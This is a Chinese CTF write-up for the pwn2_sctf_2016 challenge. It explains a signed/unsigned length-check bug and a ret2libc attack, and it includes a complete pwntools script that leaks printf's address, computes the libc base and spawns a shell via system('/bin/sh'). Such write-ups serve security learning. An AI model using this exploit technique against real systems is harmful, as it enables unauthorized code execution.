【符号位漏洞+ret2libc】pwn2_sctf_2016

Thursday, December 29, 2022
本文共959字
2分钟阅读时长

⚠️本文是作者P3troL1er原创,首发于https://peterliuzhi.top/writeup/%E7%AC%A6%E5%8F%B7%E4%BD%8D%E6%BC%8F%E6%B4%9E+ret2libcpwn2_sctf_2016/。商业转载请联系作者获得授权,非商业转载请注明出处!

Follow effective action with quiet reflection. From the quiet reflection will come even more effective action. — Peter Drucker

原题链接

checksec查看程序架构

$ checksec --file ./pwn2_sctf_2016
[*] '/home/peterl/security/workspace/pwn2_sctf_2016/pwn2_sctf_2016'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

ida查看程序伪代码

202209251556582022-09-25-15-56-59 202209251557212022-09-25-15-57-21

我们发现第一次输入的数字决定了第二次输入的字符个数,但是必须小于32,而我们查看过栈情况后发现32个字符是不够的

然后我们发现get_n的第二个参数的类型为unsigned int:

202209251600202022-09-25-16-00-21

那么我们可以考虑符号位漏洞

构建exp

符号位溢出

我们知道,在计算机中负数是由补码机制表示的 (还有另一种不流行的表示方法,就是把第一位作为符号位,1表示负,0表示正,剩下的位表示数字的绝对值,但这样会产生-0和+0两个0),也就是说,原本如果不考虑负数,我们可以表示0~0xffffffff的正数,但是现在我们把它对半分,用后面那一节表示负数,那么这个数轴就变成了:

0x80000000 ~ 0xffffffff 0 0x1 ~ 0x7fffffff
$-2^{31}$ ~ $-1$ $0$ $1$ ~ $2^{31}-1$

但是如果我们在C语言中进行数字的比较时,我们是比较的它们逻辑上的值,也就是-1 < 32,尽管-1在计算机内部的数值是大于32的(因为负数实际的值一定是大于等于0x80000000的,所以负数的第一位一定是1,而正数的第一位一定是0,这样我们就可以通过第一位来判断数字的正负了)

如果我们将-1强制转换为无符号整数,那么它负数的属性就消失了,它逻辑上就是$2^{32}-1$

这种逻辑上的不一致就产生了符号位漏洞

ret2libc

这题最无语的是它提供了一个do_thing函数:

202209251620452022-09-25-16-20-45

我还以为是要用syscall做,浪费了好多时间找能改变eax、ebx、ecx、edx的gadget,结果找了一圈就是没有能改eax的,后来无奈只能用ret2libc做

这个程序有printf函数,我们通过printf函数泄露基址就好了

完整exp

需要注意的是,这题的libc在libcdatabase是搜不到的,因此用不了libcsearcher

可以去BUUCTF的FQA专栏libc的下载地址


from pwn import *
from pwn import p64, p32, u32, u64
# from LibcSearcher import LibcSearcher

pss: bool = True
fn: str = "./pwn2_sctf_2016"
libc_name: str = "./libc-2.23.so"
port: str = ""
if_32: bool = True
if_debug:bool = False
pg = p32 if if_32 else p64
context(log_level="debug", arch="i386" if if_32 else "amd64", os="linux")
if pss:
    p = remote("node4.buuoj.cn", port)
else:
    if if_debug:
        p = gdb.debug(fn, "b* 0x80485B7")
    else:
        p = process(fn)

m_elf = ELF(fn)
libc = ELF(libc_name)

p.clean()
p.sendline(b"-1")
p.clean()
payload = b"a"*(0x2C + 0x4) + pg(m_elf.plt['printf']) + pg(m_elf.sym['vuln']) + pg(m_elf.got['printf'])
p.sendline(payload)
p.recvuntil(b'\n')
printf_addr = u32(p.recv(4))
success(hex(printf_addr))

base_addr = printf_addr - libc.sym['printf']
system_addr: int = base_addr + libc.sym['system']
exit_addr: int = base_addr + libc.sym['exit']
bin_sh_addr: int = base_addr + next(libc.search(b"/bin/sh"))
    
success(hex(base_addr))
p.clean()
p.sendline(b"-1")
p.clean()
ret: int = 0x08048346
payload = b"a"*(0x2C + 0x4) + \
    pg(system_addr) + pg(exit_addr) + pg(bin_sh_addr)
p.sendline(payload)
p.clean()
p.interactive()